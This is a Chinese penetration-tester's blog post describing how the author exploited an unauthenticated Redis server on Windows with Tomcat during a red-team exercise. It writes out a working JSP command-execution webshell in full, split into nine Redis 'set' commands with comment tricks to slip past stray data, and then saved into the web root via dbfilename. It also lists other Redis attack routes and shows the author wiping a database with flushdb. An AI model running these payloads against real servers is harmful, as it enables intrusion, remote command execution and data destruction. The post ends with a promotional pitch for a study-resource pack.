做网站卖装备,wordpress wechat pay,国外企业网络会议的组织与优化,长春房产网 房小二1 前言
在最近的一次攻防演练中#xff0c;遇到了两个未授权访问的 Redis 实例。起初以为可以直接利用#xff0c;但后来发现竟然是Windows Java (Tomcat)。因为网上没有看到相关的利用文章#xff0c;所以在经过摸索#xff0c;成功解决之后决定简单写一写。
本文介绍了…1 前言
在最近的一次攻防演练中遇到了两个未授权访问的 Redis 实例。起初以为可以直接利用但后来发现竟然是Windows Java (Tomcat)。因为网上没有看到相关的利用文章所以在经过摸索成功解决之后决定简单写一写。
本文介绍了从发现redis未授权入口到成功getshell的整个过程主要内容集中在后半段的如何写shell处。虽然最后的结局有些喜剧但是希望本文中的某些部分能值得大家参考。
本次的渗透环境Windows Java Redis 3.0.500
2 如果世界上只有一个操作系统
2.1 失败的常规操作
Redis一般来说有如下几种利用方式 直接写shell (Linux/Windows。需要绝对路径如果不知道绝对路径可以尝试一些默认的路径或者尝试通过debug信息和报错信息看有没有路径的泄露。Linux相对好猜一点Windows下如果是IIS这种可以尝试C:/inetpub/wwwroot/其他的也只能硬猜) 写SSH密钥 (Linux。需要以root身份启动Redis并且允许root用户通过密钥登录) 写计划任务 (Linux。如果是root的话可以直接向root写计划任务如果不是的话需要猜测用户名) 主从复制 (需要Redis版本4及4以上) dll劫持 (Windows。劫持dbghelp.dll主从复制写入恶意DLL并通过Redis命令触发) 写入启动项 (Windows。需要机器重启) ......
探测到漏洞之后我最先尝试的是计划任务反弹shell但是在等待数分钟之后没有反应介于可能的情况比较多所以没有深究转而去尝试其他方法。因为不知道网站的绝对路径所以暂时没有考虑直接写shell而是尝试去写密钥实现免密登录于是我得到了一个路径不存在的提示。 图1 尝试写入密钥
最终在经过了一番尝试之后我竟然得到了来自C盘的肯定。不得不说Redis和Windows的搭配确实少见。 图2 来自C盘的肯定
事已至此写密钥的方法也行不通了只能试着去找到网站的绝对路径从而写入我们的webshell。为了方便猜路径我先尝试了D盘E盘F盘来确定盘符的范围。 图3 来自E盘的肯定
D盘没有权限那么就不用管了而一般来说多盘符服务器的网站放在C盘和D盘的概率比较大往后的其他盘都用作资料软件的存放和备份等。既然D盘没有权限那网站自然不可能在D盘于是我将勇士的荣光都 all in 到了C盘。
先来个C:\\inetpub\\wwwroot试试水结果当然是不出所料的 No such file or directory。
虽然不是天选之子但是那也不能硬猜所以进行了端口扫描并计划查看网站以获取更多信息。 图4 来自汤姆的肯定
此刻当我看到tomcat的时候还没意识到事情的严重性殊不知可怜的我即将在不久之后被汤姆玩弄于股掌之中!!!
2.2 汤姆的肯定
既然知道网站使用了tomcat那么对命名也有了大概的方向。在随手测了几个可能的目录无果之后我开始在网上搜索tomcat的安装并收集这些安装包的名字。
最终我找到了如图所示的目录名称。 图5 来自我对汤姆的肯定
这里目标的环境是tomcat6.0.18版本最终成功设置目录。 图6 tomcat网站根目录
目录都到手了也有写文件的权限那还不手到擒来
稳妥起见先写个txt试探一下它。 图7 写入txt
访问之后直接下载了打开看看。 图8 txt乱码
之后我尝试了多种写入的方式写入空白文本到txt、写入纯数字到jsp文件、写入jsp代码到jsp文件等等但是不管怎么样始终有乱码。不对劲绝对有一万个不对劲在里面。
最后我终于发现是因为其他库里还存在键值数据我一直以为save只对当前 select 所操作的数据库有效没想到是整个数据库都被写入了。因为其他数据库的部分键值中存在着一些Java代码和一些乱码字符所以导致我写入的jsp要么没写进去要么就一直报错。
因为其中一台Redis的数据库东西比较少都是些缓存数据所以我就直接 flushdb 把它清空了 (文章后面会给一个更好的解决办法避免有时候存在重要的数据不方便清空但是脏数据的存在又影响写shell)。
既然现在没有脏数据影响了总该能成功写入了吧。还是老规矩保险起见先跟世界打个招呼。
/r/n/r/n% out.println(Hello World); %/r/n/r/n图9 你好! 世界!
没有问题代码已经成功执行了。那就可以直接写shell了其实这个时候心里已经开始慌了PHP那确实是一句话但是jsp的一句话是不是话密了一点往往这种较长的执行最容易出问题。
先来个冰蝎的一句话吧。 图10 写入冰蝎一句话
果不其然的报错了虽然有的时候500的状态码依然可以尝试连接但是这个报错信息看起来是没有希望了。
不过总感觉冰蝎这个马子还是太长了一点如果要调试的话会比较麻烦于是在网上找了下更短的一句话。 图11 尝试其他一句话
依然还是报错后面的时间我又尝试了很多不同的一句话木马和各种小马为了确保不是马的问题又在本地虚拟机起了一个tomcat来验证马的可用性。结果依然是都不行全都会因为一些莫名其妙的乱码出现穿插在代码之中导致jsp代码的报错甚至代码自己本身的一些字符也会出现乱码的情况。
为了搞清楚报错的地方到底在哪里我们尝试把一句话写入到txt中然后下载回来看一下源码做一下对照。
通过观察我传入的数据和下载回来的txt中的数据我发现产生乱码的地方很有可能跟转义、歧义、正则之类的有关系也就是说我们的字符在中间某个过程被影响了初步猜测可能是Redis和Java通信之间的原因。
这是经过格式化后的一句话方便大家观看。
%
if (023.equals(request.getParameter(pwd))) {java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(i)).getInputStream();int a -1;byte[] b new byte[2048];out.print(pre);while ((a in.read(b)) ! -1) {out.println(new String(b));}out.print(/pre);
}
%而下载回来的txt的内容如下。 图12 下载的乱码文件
以图中产生乱码的 request.getParameter(pwd) 部分为例我们试着给他加上转义符号。
r\e\q\uest.getParameter(pwd)再次save写入txt文件之后最后的结果表明它确实正常显示了这也印证了我们的猜想在Redis和Java通信的过程中我们写入的字符串在某个地方被带入了计算或者成为了转义之类的处理过程导致我们的文本无法按照我们的预期写入到文件当中。 图13 转义后的txt
尽管我们可以通过添加转义符号来解决上述问题但这也引入了一个新的挑战当程序不能正确执行时出现乱码。尽管添加转义符号似乎使文本正常显示但在 JSP 中这些转义符号也被视为代码的一部分导致我们的木马也无法正常运行。
3 麻出又一春
我这时突然想到了最开始的hello world简单的一行代码成了一个心结为什么单纯的printIn输出就没有问题为什么语句稍微复杂一点之后会有问题了到底是目标环境的问题还是payload传输过程的问题还是其他什么原因于是我开始了漫长的调试过程在这期间我还尝试了DLL劫持的攻击方式不过可能是因为目标不出网的问题导致并没有监听到目标的响应所以利用失败了。
最终我发现了一个Redis在Windows Java环境下写shell的方法同时也可以在避免flushdb数据库的情况下解决脏数据的影响。大体思路如下
从单纯的printIn一个hello world来看较短的payload看起来似乎没有问题那么我们可以尝试将较长的payload分解为多个较短的payload这样有可能避免payload在传输过程中被污染。拆分的方法很简单只需设置多个键值对那么如何让他们再拼接合成呢
正如前文所提到的Redis的save会将数据库中的所有键值对都写入文件当中。这一特性现在似乎成为了解决问题的关键环节。我们只需要将 payload 分散到多个键值对中当执行 save 命令时Redis将自动将它们全部写入到文件里。
我们通过一个简单的小实验来验证这个猜想。 图14 拼接实验
save后观察txt的结果可以发现x和y的值确实被拼接起来了这就意味着我们确实可以将payload拆散到多个键值对当中再进行拼接。 图15 拼接实验
我们将前面提到的木马拆分为9个部分并将它们分别赋值。
set x % if (023.equals(request.getParameter(pwd))) {
set x2 java.io.InputStream in Runtime.getRuntime().exec(
set x3 request.getParameter(i)).getInputStream();
set x4 int a -1;
set x5 byte[] b new byte[2048];
set x6 out.print(pre);
set x7 while ((a in.read(b)) ! -1) {
set x8 out.println(new String(b));}
set x9 out.print(/pre);}%
savesave之后再来看看txt的结果是怎么样的。(这里为了方便观看我依然进行了flushdb操作)。 图16 顺序拆分后txt结果
看起来我们的办法似乎生效了已经没有乱码的情况产生但是可以发现两个新问题拼接好的shell代码顺序不对Redis没有按照设置变量的顺序来写入文件 (实际上写入的顺序跟Redis内部的数据结构有关)并且每一段小payload在被拼接起来的时候会有脏数据的产生也就是在写入文件的时候Redis同时还写入了键名这样就导致多个键名穿插在我们的shell代码之中。
幸运的是经过测试我们可以发现Redis在某一段时间内的写入顺序是不会变化的 (除非你更改了select的数据库或者对键值对有更改)那么我们可以先save一次所有的键值对之后再观察结果的顺序这样就能知道Redis是按照怎样顺序来写入的文件最后我们再对键值对的赋值进行调整。
如上图所示通过对照正确的shell代码可以整理出当前redis对这些键值的写入顺序如下。
x5 - x6 - x4 - x7 - x - x2 - x8 - x9 - x3也就是说键值对{x5: value}被第一个写入到文件当中那么自然我们需要将原本的第一个小payload的值赋予x5也就是如下所示。
set x5 % if (023.equals(request.getParameter(pwd))) {排列所有的顺序之后对键的赋值做出如下调整。
set x byte[] b new byte[2048];
set x2 out.print(pre);
set x3 out.print(/pre);}%
set x4 request.getParameter(i)).getInputStream();
set x5 % if (023.equals(request.getParameter(pwd))) {
set x6 java.io.InputStream in Runtime.getRuntime().exec(
set x7 int a -1;
set x8 while ((a in.read(b)) ! -1) {
set x9 out.println(new String(b));}我们save之后再次查看txt的结果。 图17 调整顺序后的txt结果
现在看起来已经几乎要成功了我们需要的数据已经按预期组合了起来而至于数据之间的脏数据问题很好解决我们很容易想到利用注释符来进行处理。
我们只需要在前一段数据的末尾加上注释起始符号在后一段数据的开头加上闭合部分即可注释掉中间的脏数据。
再次调整payload并在其中加上Redis的特有换行得到最终的payload结果如下。
set x */byte[] b new byte[2048];/*
set x2 */out.print(pre);/*
set x3 */out.print(/pre);}%
set x4 */request.getParameter(i)).getInputStream();/*
set x5 /r/n/r/n% if (023.equals(request.getParameter(pwd))) {/*
set x6 */java.io.InputStream in Runtime.getRuntime().exec(/*
set x7 */int a -1;/*
set x8 */while ((a in.read(b)) ! -1) {/*
set x9 */out.println(new String(b));}/*先写入到txt中看一下效果。 图18 最终拼接结果
好了现在可以看到我们的代码已经完美的写入到了文件当中中间的脏数据也已经被我们的注释包裹不出意外的话应该是可以正常执行了。
设置dbfilename为jsp文件然后save。 图19 成功执行
完美另外从图中我们可以看到在执行前方还有很多的数据虽然在复现演示这里并没有产生影响但是在最初实际渗透的时候却是导致了500错误。如果有遇到这种情况解决的办法也很简单依旧是注释符。
我们只需要找到第一个被写入的键值在它前面加上!--然后在我们写入的第一个payload的值前方加上闭合注释即可。(如果脏数据当中没有包含Java的代码那么这里会是txt文本格式输出就不用管这一段脏数据如果实在太长影响操作可以尝试写入html标签进行包裹再注释。)
这里我们可以看到第一个被写入的文件是34287327-TIMES。 图20 被第一个写入的脏数据键值对
给34287327-TIMES加上注释起始符号。 图21 脏数据注释起始符号
给木马的第一行加上闭合符号。 图22 脏数据注释闭合符号
4 汤姆竟是我自己
因为当时正处于攻防演练之中所以没有时间去搭建环境仔细研究于是演练结束后立马搭建了跟目标一模一样的环境进行实验Windows 2012 (目标是2008) tomcat 6.0.18 Redis 3.0.500 jdk6。包括安装目录等都跟目标保持一致。
复现之前的情况发现确实还是有乱码的情况产生这说明至少问题的产生具有普遍性。
直到此时此刻我还满怀研究的心情在继续实验考虑到dbfilename默认是写入到Redis的rdb文件所以我决定从这方面入手看是否跟Redis写入过程有关系。
直到我在查看相关资料的时候我看到了这个。 图23 Redis压缩
当我看到压缩两个字的时候心都凉了或许问题并没有我考虑的那么复杂但是事到如今只能试试了。
config set rdbcompression no图24 关闭Redis默认压缩
fine毁灭吧。看来Redis在存数据的时候会进行压缩在取数据的时候会解压缩而至于为什么最开始的hello world和平时写phpaspx等一句话木马没有产生乱码我猜可能是因为文本大小没有达到压缩的条件。 图25 关闭Redis默认压缩
5 结语
打演练时间比较紧张没有时间搭建环境研究原理也没有确实办法只能基于web的思路进行一些bypass。不过最后的结局应该会被比较了解Redis的师傅耻笑了哈哈。
这篇文章的本质到现在来看似乎成了解决Redis在写长文本的情况下遇到的乱码问题而不是Windows Java的特例。不过对于渗透选手来说几乎都是Redis写入php或者aspx等一句话这类一句话都比较短所以不太会遇到乱码的情况至少从演练现场的情况来看其他师傅也只是交了Redis未授权。
不管怎么说虽然问题的产生和解决都很简单但是希望这篇文章的解决思路和最后的实战应用结论对大家来说有价值。 图26 可怜的汤姆被玩弄于股掌之中 给大家的福利
零基础入门
对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。 ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供 因篇幅有限仅展示部分资料 2️⃣视频配套资料国内外网安书籍、文档
① 文档和书籍资料 ② 黑客技术 因篇幅有限仅展示部分资料 4️⃣网络安全面试题 5️⃣汇总 所有资料 ⚡️ 朋友们如果有需要全套 《网络安全入门进阶学习资源包》扫码获取~